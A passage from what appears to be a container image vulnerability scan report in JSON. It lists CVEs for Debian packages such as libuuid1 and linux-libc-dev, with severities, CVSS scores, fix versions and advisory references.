"LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "libuuid1@2.41-5", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "1afbb50818377478" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:25976dd93d68de1015ee664eccf4068898b33309e2bdcbe197ebf49338003f42", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-98432", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e230cdf91510a72cd5cf74bd639df98e30fc28e4d93ca68f964f51c54fc0d187", "Title": "kernel: ipv4: free inet_opt and ireq_opt after an RCU grace period", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: free inet_opt and ireq_opt after an RCU grace period\n\ntcp_v4_syn_recv_sock() transfers ownership of ireq-\u003eireq_opt to the\nchild socket (newinet-\u003einet_opt) without copying it.\n\nAnother cpu can concurrently process a retransmitted SYN for the same\nrequest socket, and send a SYNACK from tcp_check_req().\ntcp_v4_send_synack() and inet_csk_route_req() read ireq-\u003eireq_opt\nunder rcu_read_lock() only, and ip_build_and_send_pkt() and\nip_options_build() then read opt-\u003eoptlen twice.\n\nNote that the SYNACK timer itself is not an issue: it holds a\nreference on its request socket, and inet_csk_reqsk_queue_drop()\ncalls timer_delete_sync() before the child can be freed.\n\nSince commit 079096f103fa (\"tcp/dccp: install syn_recv requests\ninto ehash table\"), request sockets are processed without holding\nthe listener lock, so nothing prevents the child socket from being\nfreed while the SYNACK is still being built. TCP child sockets do\nnot have SOCK_RCU_FREE, and inet_sock_destruct() frees inet_opt\nwith a plain kfree(), leading to a use-after-free in\nip_options_build().\n\nA similar issue exists with request socket migration\n(net.ipv4.tcp_migrate_req=1, or a BPF_SK_REUSEPORT_SELECT_OR_MIGRATE\nprogram). reqsk_timer_handler() clones the request socket with\ninet_reqsk_clone(), so that the old request socket and its clone\nshare the same ireq_opt, then reqsk_migrate_reset() clears the\npointer in the old one. Another cpu holding a reference on the old\nrequest socket can still be using these options (sending a SYNACK,\nor creating a child in tcp_v4_syn_recv_sock()) when the clone is\nfreed, and tcp_v4_reqsk_destructor() also uses a plain kfree().\n\nReaders already use RCU, and other paths replacing inet_opt\n(do_ip_setsockopt(), cipso_v4_sock_setattr()...) already use\nkfree_rcu(). Use kfree_rcu() in inet_sock_destruct() and\ntcp_v4_reqsk_destructor() as well.\n\nIPv6 is not affected by the first issue, because tcp_v6_syn_recv_sock()\nduplicates the options. tcp_v6_reqsk_destructor() has the same\nmigration issue with ipv6_opt, which is only set by CALIPSO. This\nwill be addressed in a separate patch.", "Severity": "CRITICAL", "VendorSeverity": { "alma": 4, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 4, "photon": 4, "redhat": 4, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "http://www.openwall.com/lists/oss-security/2026/10/30/1", "http://www.openwall.com/lists/oss-security/2026/10/30/6", "http://www.openwall.com/lists/oss-security/2026/10/31/5", "http://www.openwall.com/lists/oss-security/2026/11/03/1", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/errata/RHSA-2026:93415", "https://access.redhat.com/security/cve/CVE-2026-98432", "https://bugzilla.redhat.com/2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-93415.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/linus/e3f33b0a1d89d738e2b913dab519226eaf76e15b%20%287.3-rc7%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98432.mbox", "https://git.kernel.org/stable/c/11a03ce3c4a62d84c10ccdfe47f8075006498568", "https://git.kernel.org/stable/c/26d4c36d318cffbbd160884a0e4cec0da4da4936", "https://git.kernel.org/stable/c/742f73df544e03744f2981c467d6542fe8172a2a", "https://git.kernel.org/stable/c/89b5b1eb7d633c33832b7ff2c02e19a144705036", "https://git.kernel.org/stable/c/95a8c8fa9f27dce64c40c41c062de7728bf34ab5", "https://git.kernel.org/stable/c/a47406c769f72c070386985488f1c4d057df86b2", "https://git.kernel.org/stable/c/b3b027ef0cd322bfa839b9aaf5b27551eea54cf6", "https://git.kernel.org/stable/c/e3f33b0a1d89d738e2b913dab519226eaf76e15b", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-quiyere1yzbn.toml", "https://linux.oracle.com/cve/CVE-2026-98432.html", "https://linux.oracle.com/errata/ELSA-2026-93414.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98432", "https://ubuntu.com/blog/fixes-available-in-proposed-pocket-for-cve-2026-98432", "https://www.cve.org/CVERecord?id=CVE-2026-98432" ], "PublishedDate": "2026-10-15T13:17:13.987Z", "LastModifiedDate": "2026-11-06T19:28:12.867Z" }, { "VulnerabilityID": "CVE-2026-99083", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99083", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ca853bfcf894a3718653c6c365fe2ffb342a815caceee6593b9dca666ca889bd", "Title": "kernel: ksmbd: fix heap out-of-bounds write in krb5_authenticate()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix heap out-of-bounds write in krb5_authenticate()\n\nIn krb5_authenticate(), out_len is calculated to determine available\nheadroom in response_buf for the incoming Kerberos AP-REP token. However,\nwhen SMB2_SESSION_SETUP is processed as a non-first element of a compounded\nSMB2 request, the calculation omits work-\u003enext_smb2_rsp_hdr_off.\n\nThis causes out_len to overstate remaining buffer headroom by\nthe cumulative size of prior responses in the compound chain. Consequently,\nthe length check in ksmbd_krb5_authenticate()\n(*out_len \u003c= resp-\u003espnego_blob_len) passes erroneously, allowing memcpy()\nto write the AP-REP blob past the end of response_buf into adjacent kernel\nheap memory.\n\nFix this by subtracting work-\u003enext_smb2_rsp_hdr_off when computing out_len,\nensuring it accurately reflects physical remaining buffer space.", "Severity": "CRITICAL", "VendorSeverity": { "photon": 3, "redhat": 4, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99083", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99083.mbox", "https://git.kernel.org/stable/c/1f73a6d40f4d1bae4f3491c0ec1ea8ee6ce035ff", "https://git.kernel.org/stable/c/23a0be6a84a38ac169eeab49017934e8e27c65f0", "https://git.kernel.org/stable/c/4722d06b2907585074252061b1024a696c1cfc23", "https://git.kernel.org/stable/c/517404e157395d0f8da125ca956c566895dfcd06", "https://git.kernel.org/stable/c/59c6dcc5dd9dafe764ca0d40525933b2be69b059", "https://git.kernel.org/stable/c/80af1bde97d5a85ad6f2c40ca894ccc8fa75a27a", "https://git.kernel.org/stable/c/a07dfb33112a42437f9d2d0bfd35c68575257381", "https://nvd.nist.gov/vuln/detail/CVE-2026-99083", "https://www.cve.org/CVERecord?id=CVE-2026-99083" ], "PublishedDate": "2026-10-23T13:17:32.577Z", "LastModifiedDate": "2026-10-30T13:21:44.38Z" }, { "VulnerabilityID": "CVE-2013-7445", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2013-7445", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:59bd5b1e98e315fc287be0657663e0afd6c2e1cb71f9d6fb4e6b078590f48f3f", "Title": "kernel: memory exhaustion via crafted Graphics Execution Manager (GEM) objects", "Description": "The Direct Rendering Manager (DRM) subsystem in the Linux kernel through 4.x mishandles requests for Graphics Execution Manager (GEM) objects, which allows context-dependent attackers to cause a denial of service (memory consumption) via an application that processes graphics data, as demonstrated by JavaScript code that creates many CANVAS elements for rendering by Chrome or Firefox.", "Severity": "HIGH", "CweIDs": [ "CWE-399" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V2Vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C", "V2Score": 7.8 }, "redhat": { "V2Vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "V2Score": 4.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2013-7445", "https://bugzilla.kernel.org/show_bug.cgi?id=60533", "https://lists.freedesktop.org/archives/dri-devel/2015-September/089778.html%20%28potential%20start%20towards%20fixing%29", "https://nvd.nist.gov/vuln/detail/CVE-2013-7445", "https://www.cve.org/CVERecord?id=CVE-2013-7445" ], "PublishedDate": "2015-10-16T01:59:00.12Z", "LastModifiedDate": "2026-05-06T22:30:45.22Z" }, { "VulnerabilityID": "CVE-2019-19449", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2019-19449", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0abddf67562d01d69ae8e4188f68c4f465d935cb1df8d342e9b11a9fec889b89", "Title": "kernel: mounting a crafted f2fs filesystem image can lead to slab-out-of-bounds read access in f2fs_build_segment_manager in fs/f2fs/segment.c", "Description": "In the Linux kernel 5.0.21, mounting a crafted f2fs filesystem image can lead to slab-out-of-bounds read access in f2fs_build_segment_manager in fs/f2fs/segment.c, related to init_min_max_mtime in fs/f2fs/segment.c (because the second argument to get_seg_entry is not validated).", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V2Vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V2Score": 6.8, "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2019-19449", "https://github.com/bobfuzzer/CVE/tree/master/CVE-2019-19449", "https://nvd.nist.gov/vuln/detail/CVE-2019-19449", "https://security.netapp.com/advisory/ntap-20200103-0001/", "https://ubuntu.com/security/notices/USN-5120-1", "https://ubuntu.com/security/notices/USN-5136-1", "https://ubuntu.com/security/notices/USN-5137-1", "https://ubuntu.com/security/notices/USN-5137-2", "https://ubuntu.com/security/notices/USN-5343-1", "https://www.cve.org/CVERecord?id=CVE-2019-19449" ], "PublishedDate": "2019-12-08T02:15:09.97Z", "LastModifiedDate": "2026-06-17T02:26:40.43Z" }, { "VulnerabilityID": "CVE-2019-19814", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2019-19814", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ba02f9dc2c34979f407a5b9ef66574d437fa72ddd0b82ac10fc9b7bb074f763e", "Title": "kernel: out-of-bounds write in __remove_dirty_segment in fs/f2fs/segment.c", "Description": "In the Linux kernel 5.0.21, mounting a crafted f2fs filesystem image can cause __remove_dirty_segment slab-out-of-bounds write access because an array is bounded by the number of dirty types (8) but the array index can exceed this.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V2Vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V2Score": 9.3, "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2019-19814", "https://github.com/bobfuzzer/CVE/tree/master/CVE-2019-19814", "https://nvd.nist.gov/vuln/detail/CVE-2019-19814", "https://security.netapp.com/advisory/ntap-20200103-0001/", "https://www.cve.org/CVERecord?id=CVE-2019-19814" ], "PublishedDate": "2019-12-17T06:15:12.843Z", "LastModifiedDate": "2026-06-17T02:27:17.097Z" }, { "VulnerabilityID": "CVE-2021-3847", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2021-3847", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ef46eebe839d833c139c94554cac77099e87e8bd0ca71a535c94a0a3114618ca", "Title": "kernel: low-privileged user privileges escalation", "Description": "An unauthorized access to the execution of the setuid file with capabilities flaw in the Linux kernel OverlayFS subsystem was found in the way user copying a capable file from a nosuid mount into another mount. A local user could use this flaw to escalate their privileges on the system.", "Severity": "HIGH", "CweIDs": [ "CWE-281" ], "VendorSeverity": { "cbl-mariner": 3, "nvd": 3, "redhat": 2 }, "CVSS": { "nvd": { "V2Vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V2Score": 7.2, "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2021-3847", "https://bugzilla.redhat.com/show_bug.cgi?id=2009704", "https://nvd.nist.gov/vuln/detail/CVE-2021-3847", "https://www.cve.org/CVERecord?id=CVE-2021-3847", "https://www.openwall.com/lists/oss-security/2021/10/14/3" ], "PublishedDate": "2022-04-01T23:15:10.597Z", "LastModifiedDate": "2026-06-17T04:05:53.22Z" }, { "VulnerabilityID": "CVE-2021-3864", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2021-3864", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0ad839879de5ae0bccbcc2ffd3bf2bbf1016ce3eb1816c20dc56d96cbad1bd05", "Title": "kernel: descendant's dumpable setting with certain SUID binaries", "Description": "A flaw was found in the way the dumpable flag setting was handled when certain SUID binaries executed its descendants. The prerequisite is a SUID binary that sets real UID equal to effective UID, and real GID equal to effective GID. The descendant will then have a dumpable value set to 1. As a result, if the descendant process crashes and core_pattern is set to a relative value, its core dump is stored in the current directory with uid:gid permissions. An unprivileged local user with eligible root SUID binary could use this flaw to place core dumps into root-owned directories, potentially resulting in escalation of privileges.", "Severity": "HIGH", "CweIDs": [ "CWE-284" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2021-3864", "https://bugzilla.redhat.com/show_bug.cgi?id=2015046", "https://lore.kernel.org/all/20211221021744.864115-1-longman@redhat.com", "https://lore.kernel.org/all/20211221021744.864115-1-longman@redhat.com/", "https://lore.kernel.org/all/20211226150310.GA992@1wt.eu/", "https://lore.kernel.org/lkml/20211228170910.623156-1-wander@redhat.com", "https://lore.kernel.org/lkml/20211228170910.623156-1-wander@redhat.com/", "https://nvd.nist.gov/vuln/detail/CVE-2021-3864", "https://security-tracker.debian.org/tracker/CVE-2021-3864", "https://www.cve.org/CVERecord?id=CVE-2021-3864", "https://www.openwall.com/lists/oss-security/2021/10/20/2" ], "PublishedDate": "2022-08-26T16:15:09.68Z", "LastModifiedDate": "2026-06-17T04:05:55.15Z" }, { "VulnerabilityID": "CVE-2024-21803", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-21803", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2dacf1a48ed2c61b45ab2c32b76835a422f9f71aa182bef38a7a2f54f2f01e5a", "Title": "kernel: bluetooth: use-after-free vulnerability in af_bluetooth.c", "Description": "Use After Free vulnerability in Linux Linux kernel kernel on Linux, x86, ARM (bluetooth modules) allows Local Execution of Code. This vulnerability is associated with program files https://gitee.Com/anolis/cloud-kernel/blob/devel-5.10/net/bluetooth/af_bluetooth.C.\n\nThis issue affects Linux kernel: from v2.6.12-rc2 before v6.8-rc1.\n\n", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "cbl-mariner": 3, "nvd": 3, "redhat": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-21803", "https://bugzilla.openanolis.cn/show_bug.cgi?id=8081", "https://nvd.nist.gov/vuln/detail/CVE-2024-21803", "https://www.cve.org/CVERecord?id=CVE-2024-21803" ], "PublishedDate": "2024-01-30T08:15:41.373Z", "LastModifiedDate": "2026-06-17T07:10:11.723Z" }, { "VulnerabilityID": "CVE-2024-58015", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-58015", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:40b9ee86a675e586fca29b7b955cdd944c5a2950c3d9ea5f14aa461183c44076", "Title": "kernel: wifi: ath12k: Fix for out-of bound access error", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath12k: Fix for out-of bound access error\n\nSelfgen stats are placed in a buffer using print_array_to_buf_index() function.\nArray length parameter passed to the function is too big, resulting in possible\nout-of bound memory error.\nDecreasing buffer size by one fixes faulty upper bound of passed array.\n\nDiscovered in coverity scan, CID 1600742 and CID 1600758", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "nvd": 3, "oracle-oval": 2, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H", "V3Score": 6 } }, "References": [ "https://access.redhat.com/errata/RHSA-2025:20518", "https://access.redhat.com/security/cve/CVE-2024-58015", "https://bugzilla.redhat.com/2298169", "https://bugzilla.redhat.com/2312077", "https://bugzilla.redhat.com/2313092", "https://bugzilla.redhat.com/2320172", "https://bugzilla.redhat.com/2320259", "https://bugzilla.redhat.com/2320455", "https://bugzilla.redhat.com/2320616", "https://bugzilla.redhat.com/2320722", "https://bugzilla.redhat.com/2324549", "https://bugzilla.redhat.com/2327203", "https://bugzilla.redhat.com/2327374", "https://bugzilla.redhat.com/2327887", "https://bugzilla.redhat.com/2329918", "https://bugzilla.redhat.com/2330341", "https://bugzilla.redhat.com/2331326", "https://bugzilla.redhat.com/2334357", "https://bugzilla.redhat.com/2334396", "https://bugzilla.redhat.com/2334415", "https://bugzilla.redhat.com/2334439", 